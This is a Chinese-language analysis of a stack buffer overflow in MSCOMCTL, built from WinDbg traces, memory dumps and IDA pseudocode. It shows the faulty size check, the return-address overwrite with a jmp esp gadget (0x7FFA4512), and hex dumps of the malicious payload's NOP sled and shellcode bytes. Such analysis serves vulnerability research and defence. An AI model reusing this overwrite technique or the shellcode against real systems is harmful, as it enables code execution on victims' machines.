eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282
```

eip=275c891e esp=00122450 ebp=00122464 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSCOMCTL!DllGetClassObject+0x3a8e5:
275c891e 56 push esi
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282
eip=275c891f esp=0012244c ebp=00122464 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSCOMCTL!DllGetClassObject+0x3a8e6:
275c891f ff3550ed6227 push dword ptr [MSCOMCTL!DllUnregisterServer+0x2ec6d (2762ed50)]
ds:0023:2762ed50=00150000
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282
eip=275c8925 esp=00122448 ebp=00122464 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSCOMCTL!DllGetClassObject+0x3a8ec:
275c8925 ff1568115827 call dword ptr [MSCOMCTL+0x1168 (27581168)]
ds:0023:27581168={ntdll!RtlAllocateHeap (7c9305d4)}
0:000> p
eax=001cd1f8 ebx=07f80810 ecx=7c9306eb edx=00150608 esi=00000000 edi=00008282
eip=275c892b esp=00122454 ebp=00122464 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSCOMCTL!DllGetClassObject+0x3a8f2:
275c892b 3bc6 cmp eax,esi
0:000> p
eax=001cd1f8 ebx=07f80810 ecx=7c9306eb edx=00150608 esi=00000000 edi=00008282
eip=275c892d esp=00122454 ebp=00122464 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSCOMCTL!DllGetClassObject+0x3a8f4:
275c892d 89450c mov dword ptr [ebp+0Ch],eax ss:0023:00122470=07f80810
0:000> p
eax=001cd1f8 ebx=07f80810 ecx=7c9306eb edx=00150608 esi=00000000 edi=00008282
eip=275c8930 esp=00122454 ebp=00122464 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSCOMCTL!DllGetClassObject+0x3a8f7:
275c8930 0f84afb40000 je MSCOMCTL!DllGetClassObject+0x45dac (275d3de5) [br=0]
0:000> p
eax=001cd1f8 ebx=07f80810 ecx=7c9306eb edx=00150608 esi=00000000 edi=00008282
eip=275c8936 esp=00122454 ebp=00122464 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSCOMCTL!DllGetClassObject+0x3a8fd:
275c8936 8b0b mov ecx,dword ptr [ebx] ds:0023:07f80810=769957d8
0:000> p
eax=001cd1f8 ebx=07f80810 ecx=769957d8 edx=00150608 esi=00000000 edi=00008282

```
eip=275c8938 esp=00122454 ebp=00122464 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSCOMCTL!DllGetClassObject+0x3a8ff:
275c8938 56              push    esi
0:000> p
eax=001cd1f8 ebx=07f80810 ecx=769957d8 edx=00150608 esi=00000000 edi=00008282
eip=275c8939 esp=00122450 ebp=00122464 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSCOMCTL!DllGetClassObject+0x3a900:
275c8939 57              push    edi
0:000> p
eax=001cd1f8 ebx=07f80810 ecx=769957d8 edx=00150608 esi=00000000 edi=00008282
eip=275c893a esp=0012244c ebp=00122464 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSCOMCTL!DllGetClassObject+0x3a901:
275c893a 50              push    eax
0:000> p
eax=001cd1f8 ebx=07f80810 ecx=769957d8 edx=00150608 esi=00000000 edi=00008282
eip=275c893b esp=00122448 ebp=00122464 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSCOMCTL!DllGetClassObject+0x3a902:
275c893b 53              push    ebx
0:000> p
eax=001cd1f8 ebx=07f80810 ecx=769957d8 edx=00150608 esi=00000000 edi=00008282
eip=275c893c esp=00122444 ebp=00122464 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSCOMCTL!DllGetClassObject+0x3a903:
275c893c ff510c          call    dword ptr [ecx+0Ch]  ds:0023:769957e4=769d9f59
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282
eip=275c893f esp=00122454 ebp=00122464 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
MSCOMCTL!DllGetClassObject+0x3a906:
275c893f 8bf0            mov     esi,eax
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282
eip=275c8941 esp=00122454 ebp=00122464 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
MSCOMCTL!DllGetClassObject+0x3a908:
275c8941 85f6            test    esi,esi
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282
eip=275c8943 esp=00122454 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
```

```
MSCOMCTL!DllGetClassObject+0x3a90a:
275c8943 7c31                jl          MSCOMCTL!DllGetClassObject+0x3a93d (275c8976) [br=0]
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282
eip=275c8945 esp=00122454 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a90c:
275c8945 8b750c              mov         esi,dword ptr [ebp+0Ch] ss:0023:00122470=001cd1f8
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=001cd1f8 edi=00008282
eip=275c8948 esp=00122454 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a90f:
275c8948 8bcf                mov         ecx,edi
0:000> p
eax=00000000 ebx=07f80810 ecx=00008282 edx=00000000 esi=001cd1f8 edi=00008282
eip=275c894a esp=00122454 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a911:
275c894a 8b7d08              mov         edi,dword ptr [ebp+8] ss:0023:0012246c=00122490
0:000> p
eax=00000000 ebx=07f80810 ecx=00008282 edx=00000000 esi=001cd1f8 edi=00122490
eip=275c894d esp=00122454 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
//下面是 memcpy 的翻版
MSCOMCTL!DllGetClassObject+0x3a914:
275c894d 8bc1                mov         eax,ecx
0:000> p
eax=00008282 ebx=07f80810 ecx=00008282 edx=00000000 esi=001cd1f8 edi=00122490
eip=275c894f esp=00122454 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a916:
275c894f c1e902              shr         ecx,2
0:000> p
eax=00008282 ebx=07f80810 ecx=000020a0 edx=00000000 esi=001cd1f8 edi=00122490
eip=275c8952 esp=00122454 ebp=00122464 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
MSCOMCTL!DllGetClassObject+0x3a919:
275c8952 f3a5                rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00122490=001a14f0
ds:0023:001cd1f8=00000000 //就是此处造成了溢出
0:000> db esp
00122454  00 00 00 00 04 14 1a 00-10 08 f8 07 82 82 00 00  ................
00122464  98 24 12 00 91 8b 5c 27-90 24 12 00 f8 d1 1c 00  .$....\'.$......
00122474  82 82 00 00 00 00 00 00-04 14 1a 00 10 08 f8 07  ................
```

```
00122484    43 6f 62 6a 64 00 00 00-82 82 00 00 f0 14 1a 00    Cobjd...........//蓝色的是第一次调用 B 函数传入栈里的
00122494    b5 b7 58 27 c0 24 12 00-2b 74 5e 27 04 14 1a 00    ..X'.$..+t^'....
001224a4    10 08 f8 07 00 00 00 00-e0 13 1a 00 28 10 1a 00    ............(...
001224b4    47 74 5b 27 01 00 00 00-e0 24 12 00 e0 24 12 00    Gt['.....$...$..
001224c4    72 77 5e 27 04 14 1a 00-10 08 f8 07 10 08 f8 07    rw^'............
001224d4    49 74 6d 73 64 00 00 00-00 00 58 27 60 25 12 00    Itmsd.....X'`%..
001224e4    4e a6 5c 27 20 12 1a 00-10 08 f8 07 78 10 1a 00    N.\' .......x...
001224f4    28 10 1a 00 40 eb b2 06-01 ef cd ab 00 00 05 00    (...@...........
00122504    98 5d 65 01 07 00 00 00-08 00 00 80 05 00 00 80    .]e.............
00122514    00 00 00 00 b0 28 58 27-00 00 00 00 db 09 01 35    .....(X'.......5
00122524    7f 28 58 27 00 e0 62 27-40 eb b2 06 28 28 58 27    .(X'..b'@...((X'
00122534    b0 10 1a 00 10 08 f8 07-00 00 00 00 4e 08 7d eb    ............N.}.
00122544    01 00 06 00 1c 00 00 00-00 00 00 00 00 00 00 00    ................
0:000> p
eax=00008282 ebx=07f80810 ecx=00000000 edx=00000000 esi=001d5478 edi=0012a710
eip=275c8954 esp=00122454 ebp=00122464 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
MSCOMCTL!DllGetClassObject+0x3a91b:
275c8954 8bc8            mov     ecx,eax
0:000> db esp
00122454    00 00 00 00 04 14 1a 00-10 08 f8 07 82 82 00 00    ................
00122464    98 24 12 00 91 8b 5c 27-90 24 12 00 f8 d1 1c 00    .$....\'.$......
00122474    82 82 00 00 00 00 00 00-04 14 1a 00 10 08 f8 07    ................
00122484    43 6f 62 6a 64 00 00 00-82 82 00 00 00 00 00 00    Cobjd...........    //绿色的是被覆盖后的数据
00122494    00 00 00 00 00 00 00 00-12 45 fa 7f 90 90 90 90    .........E......
001224a4    90 90 90 90 8b c4 05 10-01 00 00 c7 00 24 03 4d    .............$.M
001224b4    08 e9 5a 00 00 00 6b 65-72 6e 65 6c 33 32 00 df    ..Z...kernel32..
001224c4    2d 89 8c 1b 81 7d ef 42-9d 85 85 d6 4e 99 59 5a    -....}.B....N.YZ
0:000> t
eax=00008282 ebx=07f80810 ecx=00008282 edx=00000000 esi=001d5478 edi=0012a710
eip=275c8956 esp=00122454 ebp=00122464 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
MSCOMCTL!DllGetClassObject+0x3a91d:
275c8956 8b4510          mov     eax,dword ptr [ebp+10h] ss:0023:00122474=00008282
0:000> t
eax=00008282 ebx=07f80810 ecx=00008282 edx=00000000 esi=001d5478 edi=0012a710
eip=275c8959 esp=00122454 ebp=00122464 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
MSCOMCTL!DllGetClassObject+0x3a920:
275c8959 83e103          and     ecx,3
0:000> t
eax=00008282 ebx=07f80810 ecx=00000002 edx=00000000 esi=001d5478 edi=0012a710
eip=275c895c esp=00122454 ebp=00122464 iopl=0         nv up ei pl nz na po nc
```

```
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSCOMCTL!DllGetClassObject+0x3a923:
275c895c 6a00            push    0
0:000> t
eax=00008282 ebx=07f80810 ecx=00000002 edx=00000000 esi=001d5478 edi=0012a710
eip=275c895e esp=00122450 ebp=00122464 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSCOMCTL!DllGetClassObject+0x3a925:
275c895e 8d5003          lea     edx,[eax+3]
0:000> t
eax=00008282 ebx=07f80810 ecx=00000002 edx=00008285 esi=001d5478 edi=0012a710
eip=275c8961 esp=00122450 ebp=00122464 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSCOMCTL!DllGetClassObject+0x3a928:
275c8961 83e2fc          and     edx,0FFFFFFFCh
0:000> t
eax=00008282 ebx=07f80810 ecx=00000002 edx=00008284 esi=001d5478 edi=0012a710
eip=275c8964 esp=00122450 ebp=00122464 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
MSCOMCTL!DllGetClassObject+0x3a92b:
275c8964 2bd0            sub     edx,eax
0:000> t
eax=00008282 ebx=07f80810 ecx=00000002 edx=00000002 esi=001d5478 edi=0012a710
eip=275c8966 esp=00122450 ebp=00122464 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSCOMCTL!DllGetClassObject+0x3a92d:
275c8966 f3a4            rep movs byte ptr es:[edi],byte ptr [esi] es:0023:0012a710=00
ds:0023:001d5478=ee
0:000> p
eax=00008282 ebx=07f80810 ecx=00000000 edx=00000002 esi=001d547a edi=0012a712
eip=275c8968 esp=00122450 ebp=00122464 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSCOMCTL!DllGetClassObject+0x3a92f:
275c8968 8b0b            mov     ecx,dword ptr [ebx]  ds:0023:07f80810=769957d8
0:000> p
eax=00008282 ebx=07f80810 ecx=769957d8 edx=00000002 esi=001d547a edi=0012a712
eip=275c896a esp=00122450 ebp=00122464 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSCOMCTL!DllGetClassObject+0x3a931:
275c896a 52              push    edx
0:000> p
eax=00008282 ebx=07f80810 ecx=769957d8 edx=00000002 esi=001d547a edi=0012a712
eip=275c896b esp=0012244c ebp=00122464 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
```

MSCOMCTL!DllGetClassObject+0x3a932:
275c896b 68783f6327 push offset MSCOMCTL!DllUnregisterServer+0x33e95 (27633f78)
0:000> p
eax=00008282 ebx=07f80810 ecx=769957d8 edx=00000002 esi=001d547a edi=0012a712
eip=275c8970 esp=00122448 ebp=00122464 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSCOMCTL!DllGetClassObject+0x3a937:
275c8970 53 push ebx
0:000> p
eax=00008282 ebx=07f80810 ecx=769957d8 edx=00000002 esi=001d547a edi=0012a712
eip=275c8971 esp=00122444 ebp=00122464 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSCOMCTL!DllGetClassObject+0x3a938:
275c8971 ff510c call dword ptr [ecx+0Ch] ds:0023:769957e4=769d9f59
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=001d547a edi=0012a712
eip=275c8974 esp=00122454 ebp=00122464 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
…
MSCOMCTL!DllGetClassObject+0x3a951:
275c898a 5e pop esi
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000
eip=275c898b esp=0012245c ebp=00122464 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
MSCOMCTL!DllGetClassObject+0x3a952:
275c898b 5b pop ebx
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000
eip=275c898c esp=00122460 ebp=00122464 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
MSCOMCTL!DllGetClassObject+0x3a953:
275c898c c9 leave
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000
eip=275c898d esp=00122468 ebp=00122498 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
MSCOMCTL!DllGetClassObject+0x3a954:
275c898d c3 ret
//==========//

B 函数执行完毕，返回至 A 函数：

0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000
eip=275c8b91 esp=0012246c ebp=00122498 iopl=0 nv up ei ng nz ac pe nc

```
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
MSCOMCTL!DllGetClassObject+0x3ab58:
275c8b91 8bf0            mov     esi,eax
0:000> t
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000
eip=275c8b93 esp=0012246c ebp=00122498 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
MSCOMCTL!DllGetClassObject+0x3ab5a:
275c8b93 83c40c          add     esp,0Ch
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000
eip=275c8b96 esp=00122478 ebp=00122498 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
MSCOMCTL!DllGetClassObject+0x3ab5d:
275c8b96 85f6            test    esi,esi
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000
eip=275c8b98 esp=00122478 ebp=00122498 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab5f:
275c8b98 7c3d            jl      MSCOMCTL!DllGetClassObject+0x3ab9e (275c8bd7) [br=0]
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000
eip=275c8b9a esp=00122478 ebp=00122498 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab61:
275c8b9a 837df800        cmp     dword ptr [ebp-8],0  ss:0023:00122490=00000000
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000
eip=275c8b9e esp=00122478 ebp=00122498 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab65:
275c8b9e 8b7d08          mov     edi,dword ptr [ebp+8] ss:0023:001224a0=90909090
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090
eip=275c8ba1 esp=00122478 ebp=00122498 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab68:
275c8ba1 742a            je      MSCOMCTL!DllGetClassObject+0x3ab94 (275c8bcd) [br=1]
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090
eip=275c8bcd esp=00122478 ebp=00122498 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab94:
```

```
275c8bcd 837dfc00               cmp         dword ptr [ebp-4],0    ss:0023:00122494=00000000
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090
eip=275c8bd1 esp=00122478 ebp=00122498 iopl=0                nv up ei pl zr na pe nc
cs=001b    ss=0023    ds=0023    es=0023    fs=003b    gs=0000                efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab98:
275c8bd1 0f85a6a20000       jne         MSCOMCTL!DllGetClassObject+0x44e44 (275d2e7d) [br=0]
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090
eip=275c8bd7 esp=00122478 ebp=00122498 iopl=0                nv up ei pl zr na pe nc
cs=001b    ss=0023    ds=0023    es=0023    fs=003b    gs=0000                efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab9e:
275c8bd7 8bc6                   mov         eax,esi
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090
eip=275c8bd9 esp=00122478 ebp=00122498 iopl=0                nv up ei pl zr na pe nc
cs=001b    ss=0023    ds=0023    es=0023    fs=003b    gs=0000                efl=00000246
MSCOMCTL!DllGetClassObject+0x3aba0:
275c8bd9 5f                     pop         edi
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000
eip=275c8bda esp=0012247c ebp=00122498 iopl=0                nv up ei pl zr na pe nc
cs=001b    ss=0023    ds=0023    es=0023    fs=003b    gs=0000                efl=00000246
MSCOMCTL!DllGetClassObject+0x3aba1:
275c8bda 5e                     pop         esi
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000
eip=275c8bdb esp=00122480 ebp=00122498 iopl=0                nv up ei pl zr na pe nc
cs=001b    ss=0023    ds=0023    es=0023    fs=003b    gs=0000                efl=00000246
MSCOMCTL!DllGetClassObject+0x3aba2:
275c8bdb 5b                     pop         ebx
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000
eip=275c8bdc esp=00122484 ebp=00122498 iopl=0                nv up ei pl zr na pe nc
cs=001b    ss=0023    ds=0023    es=0023    fs=003b    gs=0000                efl=00000246
MSCOMCTL!DllGetClassObject+0x3aba3:
275c8bdc c9                     leave
0:000> p
eax=00000000 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000
eip=275c8bdd esp=0012249c ebp=00000000 iopl=0                nv up ei pl zr na pe nc
cs=001b    ss=0023    ds=0023    es=0023    fs=003b    gs=0000                efl=00000246
MSCOMCTL!DllGetClassObject+0x3aba4:
275c8bdd c20800                 ret         8
```

Esp：

0012246c 90 24 12 00 .$.. //返回时 ESP= 0x0012246c
00122470 f8 d1 1c 00 ....
00122474 82 82 00 00 ....
00122478 00 00 00 00 ....//add esp,0Ch，esp= 0x122478
0012247c 04 14 1a 00 ....// pop edi
00122480 10 08 f8 07 ....// pop esi
00122484 43 6f 62 6a Cobj //pop ebx
00122488 64 00 00 00 d...
0012248c 82 82 00 00 ....
00122490 00 00 00 00 ....
00122494 00 00 00 00 ....
00122498 00 00 00 00 ....
0012249c 12 45 fa 7f .E..//LEAVE 后，esp 指向此处
001224a0 90 90 90 90 ....
001224a4 90 90 90 90 ....
001224a8 8b c4 05 10 ....//ret 8 后，esp 指向此处，jmp esp 后，eip 将指向这里
001224ac 01 00 00 c7 ....

看到熟悉的 0x7FFA4512 了吧，该地址处有一条 jmp esp 的指令。这样控制权就转移到栈当中去了。

总结一下：

MSCOMCTL!DllGetClassObject+0x3ab15(275c8b4e)（A 函数）仅仅开辟了 0x14h 大小的栈空间，里边两次调用了函数 MSCOMCTL!DllGetClassObject+0x3a8bb (B 函数)。第一次往 A 函数的栈帧里边写入了 0xc 大小的字节，第二次调用前检查了大小，本该是长度应该小于等于 8 才 copy 数据，结果程序员的粗心大意写成了大于等于 8。直接导致第二次调用写入了 0x8282 大小的数据，其后果是很严重的——破坏掉了 A 函数的栈帧，导致 A 函数无法正确返回。此处返回地址被精心覆盖成 0x7ffa4512，直接导致了恶意代码的执行。

IDA 反编译还原出来的函数伪代码如下：

函数 A：

```
int __stdcall sub_275C8B4E(int a1, void *lpMem)
{
  int result; // eax@1
  BSTR v3; // ebx@1
  int v4; // esi@4
  int v5; // [sp+Ch] [bp-14h]@1
  SIZE_T dwBytes; // [sp+14h] [bp-Ch]@3
  int v7; // [sp+18h] [bp-8h]@4
  int v8; // [sp+1Ch] [bp-4h]@8

  v3 = (BSTR)lpMem;
  result = sub_275C88F4((int)&v5, lpMem, 0xCu);    //第一次调用 B，提取 Magic
  if ( result >= 0 )
  {
    if ( v5 == 0x6A626F43 && dwBytes >= 8 ) //条件本该是小于等于的，哈哈哈。。。
    {
      v4 = sub_275C88F4((int)&v7, v3, dwBytes);// 第二次调用 B，提取数据到缓冲区，因为目的地址是 sub_275C8B4E
```

```
//的栈帧，位于 sub_275C88F4 栈帧下面，所以不会造成 sub_275C88F4 不能返回
        if ( v4 >= 0 )
        {
          if ( !v7 )
            goto LABEL_8;
          lpMem = 0;
          v4 = sub_275C8BE0((UINT)&lpMem, (int)v3);
          if ( v4 >= 0 )
          {
            sub_2758B9B8((BSTR)lpMem);
            SysFreeString((BSTR)lpMem);
LABEL_8:
            if ( v8 )
              v4 = sub_275C8CB2(a1 + 20, v3);
            return v4;
          }
        }
        return v4;
      }
      result = 0x8000FFFFu;
    }
    return result;
}
第一次复制了 0xc     bytes ：
00122484       43 6f 62 6a 64 00 00 00 82 82    Cobjd.....    //43 6F 62 6A 应该是个 Magic
0012248e       00 00
第二次复制了 0x8282     bytes ：
00122490    00 00 00 00 00 00 00 00 00 00    ..........
0012249a    00 00 12 45 fa 7f 90 90 90 90    ...E......
001224a4    90 90 90 90 8b c4 05 10 01 00    ..........
001224ae    00 c7 00 24 03 4d 08 e9 5a 00    ...$.M..Z.
001224b8    00 00 6b 65 72 6e 65 6c 33 32    ..kernel32
001224c2    00 df 2d 89 8c 1b 81 7d ef 42    ..-....}.B
001224cc    9d 85 85 d6 4e 99 59 5a 61 d8    ....N.YZa.
001224d6    54 93 77 77 21 9d 4a 62 68 c3    T.ww!.Jbh.
001224e0    53 a3 83 6a 6b df 5c 5a 8a 1d    S..jk.\Z..
001224ea    2b 4f 2c 45 28 81 71 f5 40 01    +O,E(.q.@.
001224f4    92 8f 05 ba 36 c1 0a 61 61 61    ....6..aaa
001224fe    61 73 68 65 6c 6c 33 32 00 8b    ashell32..
00122508    98 8a 31 61 61 61 61 6f 70 65    ..1aaaaope
00122512    6e 00 e8 11 02 00 00 6a ff e8    n......j..
0012251c    08 00 00 00 05 35 00 00 00 ff    .....5....
00122526    10 c3 e8 00 00 00 00 58 83 c0    .......X..
00122530    04 2d 77 00 00 00 c3 55 8b ec    .-w....U..
```

```
0012253a    52 53 8b 55 08 33 c0 f7 d0 32    RS.U.3...2
00122544    02 b3 08 d1 e8 73 05 35 20 83    .....s.5 .
…
```

函数 B：

```
int __cdecl sub_275C88F4(void *a1, LPVOID lpMem, SIZE_T dwBytes)
{
  int result; // eax@1
  LPVOID v4; // ebx@1
  LPVOID v5; // eax@3
  int v6; // esi@4
  int v7; // [sp+Ch] [bp-4h]@1
  const void *v8; // [sp+1Ch] [bp+Ch]@3

  v4 = lpMem;
  result = (*(int (__stdcall **)(LPVOID, int *, signed int, _DWORD))(*(_DWORD *)lpMem + 12))(lpMem, &v7,
4, 0);//估计这里是读取内存区域内某个标记大小的值，长度为 4
  if ( result >= 0 )
  {
    if ( v7 == dwBytes ) //如果数据的大小刚好等于需要读取的大小
    {
      v5 = HeapAlloc(hHeap, 0, dwBytes);//开辟堆内存用于缓存
      v8 = v5;
      if ( v5 )
      {
        v6 = (*(int (__stdcall **)(LPVOID, LPVOID, SIZE_T, _DWORD))(*(_DWORD *)v4 + 12))(v4, v5,
dwBytes, 0);//读取数据到堆内存，长度为 dwBytes
        if ( v6 >= 0 )
        {
          memcpy(a1, v8, dwBytes);//复制数据到母函数指定的地址，这里是母函数的临时变量，指向
栈内
          v6 = (*(int (__stdcall **)(LPVOID, _UNKNOWN *, SIZE_T, _DWORD))(*(_DWORD *)v4 + 12))(
                 v4,
                 &unk_27633F78,
                 ((dwBytes + 3) & 0xFFFFFFFC) - dwBytes,
                 0);//剩余的数据长度小于等于 3
        }
        HeapFree(hHeap, 0, (LPVOID)v8);
        result = v6;
      }
      else
      {
        result = 0x8007000Eu;
      }
```

```
        }
        else
        {
          result = 0x8000FFFFu;       }
      }
      return result;
    }
```

函数 B 内部又调用了三次 OLE32.DLL 的函数 unsigned int __stdcall CExposedStream__Read(LPVOID a1, LPVOID lp, unsigned int ucb, int a4)，这是 IDA 反汇编出来的啊，这个函数内部我就没怎么仔细去看，大概猜到是从 a1 所指地址空间读取 ucb 大小的字节到 lp。

A 函数总共也只开辟了 0x14 = 20 个字节的空间，第一次调用 B 复制了 12 个字节，第二次本该最多复制 8 个字节，这下你应该明白为什么要小于等于 8 了吧！

